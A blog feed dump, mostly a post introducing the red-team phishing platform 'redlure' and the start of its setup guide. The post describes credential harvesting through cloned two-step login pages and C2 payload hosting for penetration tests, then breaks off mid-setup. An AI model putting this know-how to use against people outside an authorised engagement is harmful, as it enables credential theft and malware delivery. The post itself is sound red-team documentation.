src="https://substackcdn.com/image/fetch/$s_!T4st!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7bd72969-4bdd-4127-9de2-0458dc248b8d_2838x1196.png" width="1456" height="614" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7bd72969-4bdd-4127-9de2-0458dc248b8d_2838x1196.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:614,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!T4st!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7bd72969-4bdd-4127-9de2-0458dc248b8d_2838x1196.png 424w, https://substackcdn.com/image/fetch/$s_!T4st!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7bd72969-4bdd-4127-9de2-0458dc248b8d_2838x1196.png 848w, https://substackcdn.com/image/fetch/$s_!T4st!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7bd72969-4bdd-4127-9de2-0458dc248b8d_2838x1196.png 1272w, https://substackcdn.com/image/fetch/$s_!T4st!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7bd72969-4bdd-4127-9de2-0458dc248b8d_2838x1196.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h4>Wrapping Up</h4><p>The majority of the LDAP query filters used as examples throughout this post are very simple - mostly consisting of a sole condition to return a single object of interest. This is sufficient for populating targeted ACL relationships, however, if you&#8217;re looking for slightly more wide-ranging queries to help populate your BloodHound database, you&#8217;ll want to branch out from this structure. Two great resources to help you get started with manual LDAP searching can be found <a href="https://web.archive.org/web/20250514174933mp_/https://posts.specterops.io/an-introduction-to-manual-active-directory-querying-with-dsquery-and-ldapsearch-84943c13d7eb">here</a> by Hope Walker (<a href="https://web.archive.org/web/20250514174933mp_/https://twitter.com/Icemoonhsv">@Icemoonhsv</a>) and <a href="https://web.archive.org/web/20250514174933mp_/https://malicious.link/post/2022/ldapsearch-reference/">here</a> by Rob Fuller (<a href="https://web.archive.org/web/20250514174933mp_/https://twitter.com/mubix">@mubix</a>).</p>]]></content:encoded></item><item><title><![CDATA[Reintroducing redlure]]></title><description><![CDATA[A year and a half later - the redlure setup guide]]></description><link>https://blog.tw1sm.io/p/2022-02-21-redlure-setup</link><guid isPermaLink="false">https://blog.tw1sm.io/p/2022-02-21-redlure-setup</guid><dc:creator><![CDATA[Matt Creel]]></dc:creator><pubDate>Mon, 21 Feb 2022 05:00:00 GMT</pubDate><enclosure url="https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/ec9b63ff-0845-4126-b92e-cb6db3074c32_1024x1024.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Back in 2019 and 2020 I spent a large chunk of time developing a phishing platform with offensive consultancy in mind. My team first started deploying it privately for phishing during penetration tests in December 2019, until it debuted publicly as part of Demo Labs for DEF CON 28 (August 2020). After DEF CON, my focus shifted and I only sporadically updated dependencies and added small features. As of late I&#8217;ve been revisiting the project, including revamping the documentation, moving to a GitBooks site hosted on <a href="https://docs.redlure.io/">docs.redlure.io</a>. At the time of release at DEF CON, I didn&#8217;t have a blog post to accompany the release, with the biggest reason being I didn&#8217;t have a platform to do so at the time (also was/still am somewhat wary of drawing more eyes to the horrific, unstructured TypeScript portion of the codebase, but oh well). This might end being a long post, but I want this to serve as the missing &#8220;on release&#8221; blog that explains the tool&#8217;s background and gives the proper setup guide that I feel has always been lacking. This post <em>isn&#8217;t</em> a promise that my focus in the future will be developing new features, but more of an admission that I think more teams out there might benefit from redlure in its current state and that it&#8217;s previous documentation and accompanying resources were probably holding it back from doing so.</p><h2><strong>The &#8220;Why&#8221; Behind redlure</strong></h2><p>There are a few operational deficiencies my team identified in our phishing processes that drove the development of something new. None of these are to suggest that redlure is the ideal solution to the problems presented, or the right solution for every team, but to simply provide a baseline of the development goals.</p><h3><strong>Scalability</strong></h3><p>Working for a consulting firm on a small offensive security team of 5+ people, there are going to be multiple client projects running in parallel. This inevitably means overlapping phishing engagements, but with many tools, you&#8217;re either limited to phishing from one domain at a time, or maybe even unable to run different campaigns simultaneously.</p><p>To address this, my team used to maintain 3 or 4 individual instances of our phishing platforms to support multiple engagements or even provide flexibility within a single engagement. This usually meant we had to make repetitive updates to various phishing templates across servers or manually aggregate phishing results from separate servers used during a single engagement.</p><h3><strong>Focus on Offensive Phishing</strong></h3><p>Putting user awareness aside, there&#8217;s usually two goals when phishing in the context of a pentest: harvesting credentials or delivering a C2 payload.</p><p>For credential harvesting, we always desired a simple way to mimic the flow of signing into services like Office365 or Gmail, which utilize separate pages for username and password entry. This login experience that users are familiar with can be difficult to recreate within a phishing framework and is something we frequently setup in hacky ways fully or partially outside our phishing frameworks.</p><p>On the payload delivery side, we desired a way to incorporate the payload directly into campaigns from our phishing tool, without the need to manually copy it up to exposed directories on phishing servers or needlessly expose our C2 domain by hosting it off Cobalt Strike&#8217;s web server.</p><h3><strong>Manual Configuration</strong></h3><p>Phishing is generally time consuming no matter how you slice it, but we found ourselves spending extra time SSHing out to phishing servers to do small manual things like switch domains we&#8217;re phishing from or generate SSL certs. This was definitely more of a convenience wish than an operational need, but something we thought would be a time saver if it could done from a central location.</p><h2><strong>How redlure Attempts to Improve These</strong></h2><h3><strong>Scalability</strong></h3><p>redlure attempts to solve this with what I would describe as a distributed or &#8216;hub and spoke&#8217; architecture. There&#8217;s a central API, the redlure-console, which acts as the command center of the framework. The console is the singular point of storage for templates, results and all your phishing-related data. A web UI, the redlure-client, allows you to interact with the console API from a browser. While you&#8217;re ideally only interacting with the console/web UI outside of initial setup, the console doesn&#8217;t host any of your templated phishing sites on the web - that is the function of the redlure-worker.</p><p>Workers get setup on remote servers and host a simpler API that communicates with the console. You can setup and connect a variable number of workers to a single console; sometimes I have only a single worker hooked up to my console, other times my team has had 6 or 7 at once. This allows operators to scale up and down as needed, with the added benefit that if an IP or domain gets burned, you can just destroy the offending worker and replace it with a new one instead of having to stand-up all new phishing infrastructure.</p><h3><strong>Focus on Offensive Phishing</strong></h3><p>When setting up a phishing campaign through the console, you have the ability to chain up to four of your templated webpages together through actions like form submission or button clicks. This allows you the ability to accurately mimic two-step logins or hide your true landing page behind a sort of rudimentary redirect. Four pages may be overkill - I&#8217;ve never gone this far myself, but the flexbility is there if you decide to get creative. You can read a little more about the setup for these <a href="https://docs.redlure.io/redlure-console/pages.html">here</a>.</p><p>On the payload side, payloads can be uploaded directly to workers through the client interface. In campaign configuration options you have the ability to select a payload uploaded to your chosen worker and host it off a configurable URI which is accessible through a variable in your templated emails and webpages.</p><h3><strong>Manual Configuration</strong></h3><p>Ideally, after setup, the client will serve as your single point of interaction with the console and workers. Through the web interface and console API you can remotely generate Let&#8217;s Encrypt SSL certificates on workers for your domains. Domain usage gets configured at runtime for campaigns, so there is no need to SSH out to workers for either of these. The only thing you should have to handle outside of the client interface is configuring your DNS records.</p><h2><strong>Setup Guide</strong></h2><h3><strong>Console Setup</strong></h3><p>I&#8217;ll setup the console and client off one server. This needs 2GB memory minimum; anything less and I&#8217;ve had issues. The one I&#8217;m deploying has 2GB of RAM and 64 GB disk space - $12/month on Vultr. Firewall rules I typically use can be found <a href="https://docs.redlure.io/redlure-console/firewall.html">here</a>.</p><p>First thing to do is update, then install certbot for SSL certificates.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!zsFQ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F5cc31dbb-fc36-4afb-a405-db87d587397b_1066x180.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!zsFQ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F5cc31dbb-fc36-4afb-a405-db87d587397b_1066x180.png 424w, https://substackcdn.com/image/fetch/$s_!zsFQ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F5cc31dbb-fc36-4afb-a405-db87d587397b_1066x180.png 848w, https://substackcdn.com/image/fetch/$s_!zsFQ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F5cc31dbb-fc36-4afb-a405-db87d587397b_1066x180.png 1272w, https://substackcdn.com/image/fetch/$s_!zsFQ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F5cc31dbb-fc36-4afb-a405-db87d587397b_1066x180.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!zsFQ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F5cc31dbb-fc36-4afb-a405-db87d587397b_1066x180.png" width="1066" height="180" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/5cc31dbb-fc36-4afb-a405-db87d587397b_1066x180.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:180,&quot;width&quot;:1066,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:32829,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!zsFQ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F5cc31dbb-fc36-4afb-a405-db87d587397b_1066x180.png 424w, https://substackcdn.com/image/fetch/$s_!zsFQ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F5cc31dbb-fc36-4afb-a405-db87d587397b_1066x180.png 848w, https://substackcdn.com/image/fetch/$s_!zsFQ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F5cc31dbb-fc36-4afb-a405-db87d587397b_1066x180.png 1272w, https://substackcdn.com/image/fetch/$s_!zsFQ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F5cc31dbb-fc36-4afb-a405-db87d587397b_1066x180.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>After that I&#8217;ll generate some certs for the domain I&#8217;ll be hosting the console and client from. While the console does not host any phishing pages for you, it does connect to your configured SMTP servers to send email. <strong>There is a chance your console&#8217;s hostname or reverse DNS lookup could leak through email headers, so choose with this knowledge</strong>.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!idjI!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F1580bfe1-6614-4780-bd9d-88a686dba646_1474x616.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!idjI!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F1580bfe1-6614-4780-bd9d-88a686dba646_1474x616.png 424w, https://substackcdn.com/image/fetch/$s_!idjI!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F1580bfe1-6614-4780-bd9d-88a686dba646_1474x616.png 848w, https://substackcdn.com/image/fetch/$s_!idjI!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F1580bfe1-6614-4780-bd9d-88a686dba646_1474x616.png 1272w, https://substackcdn.com/image/fetch/$s_!idjI!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F1580bfe1-6614-4780-bd9d-88a686dba646_1474x616.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!idjI!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F1580bfe1-6614-4780-bd9d-88a686dba646_1474x616.png" width="1456" height="608" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/1580bfe1-6614-4780-bd9d-88a686dba646_1474x616.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:608,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:105412,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!idjI!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F1580bfe1-6614-4780-bd9d-88a686dba646_1474x616.png 424w, https://substackcdn.com/image/fetch/$s_!idjI!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F1580bfe1-6614-4780-bd9d-88a686dba646_1474x616.png 848w, https://substackcdn.com/image/fetch/$s_!idjI!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F1580bfe1-6614-4780-bd9d-88a686dba646_1474x616.png 1272w, https://substackcdn.com/image/fetch/$s_!idjI!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F1580bfe1-6614-4780-bd9d-88a686dba646_1474x616.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Next up is <a href="https://docs.redlure.io/redlure-console/Installation.html">installing</a> the console itself. Python3.9 was already installed on my Ubuntu instance so I&#8217;ll skip that step and start with <code>pipenv</code>.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!wkoM!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F7782992d-72b9-47b9-bc95-a7484c7a1c89_1498x284.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!wkoM!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F7782992d-72b9-47b9-bc95-a7484c7a1c89_1498x284.png 424w, https://substackcdn.com/image/fetch/$s_!wkoM!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F7782992d-72b9-47b9-bc95-a7484c7a1c89_1498x284.png 848w, https://substackcdn.com/image/fetch/$s_!wkoM!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F7782992d-72b9-47b9-bc95-a7484c7a1c89_1498x284.png 1272w, https://substackcdn.com/image/fetch/$s_!wkoM!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F7782992d-72b9-47b9-bc95-a7484c7a1c89_1498x284.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!wkoM!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F7782992d-72b9-47b9-bc95-a7484c7a1c89_1498x284.png" width="1456" height="276" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/7782992d-72b9-47b9-bc95-a7484c7a1c89_1498x284.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:276,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:68081,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!wkoM!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F7782992d-72b9-47b9-bc95-a7484c7a1c89_1498x284.png 424w, https://substackcdn.com/image/fetch/$s_!wkoM!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F7782992d-72b9-47b9-bc95-a7484c7a1c89_1498x284.png 848w, https://substackcdn.com/image/fetch/$s_!wkoM!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F7782992d-72b9-47b9-bc95-a7484c7a1c89_1498x284.png 1272w, https://substackcdn.com/image/fetch/$s_!wkoM!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F7782992d-72b9-47b9-bc95-a7484c7a1c89_1498x284.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!2EnK!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F04341d60-de61-4a1e-b3aa-f2d992b98a47_1930x892.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!2EnK!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F04341d60-de61-4a1e-b3aa-f2d992b98a47_1930x892.png 424w, https://substackcdn.com/image/fetch/$s_!2EnK!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F04341d60-de61-4a1e-b3aa-f2d992b98a47_1930x892.png 848w, https://substackcdn.com/image/fetch/$s_!2EnK!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F04341d60-de61-4a1e-b3aa-f2d992b98a47_1930x892.png 1272w, https://substackcdn.com/image/fetch/$s_!2EnK!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F04341d60-de61-4a1e-b3aa-f2d992b98a47_1930x892.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!2EnK!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F04341d60-de61-4a1e-b3aa-f2d992b98a47_1930x892.png" width="1456" height="673" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/04341d60-de61-4a1e-b3aa-f2d992b98a47_1930x892.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:673,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:266057,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!2EnK!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F04341d60-de61-4a1e-b3aa-f2d992b98a47_1930x892.png 424w, https://substackcdn.com/image/fetch/$s_!2EnK!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F04341d60-de61-4a1e-b3aa-f2d992b98a47_1930x892.png 848w, https://substackcdn.com/image/fetch/$s_!2EnK!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F04341d60-de61-4a1e-b3aa-f2d992b98a47_1930x892.png 1272w, https://substackcdn.com/image/fetch/$s_!2EnK!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F04341d60-de61-4a1e-b3aa-f2d992b98a47_1930x892.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Before we actually start the console, we&#8217;ll want to edit the <code>config.py</code> file to add our certificates and a secret key. If we start the console without a secret key configured, it&#8217;ll suggest a random one for us.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" 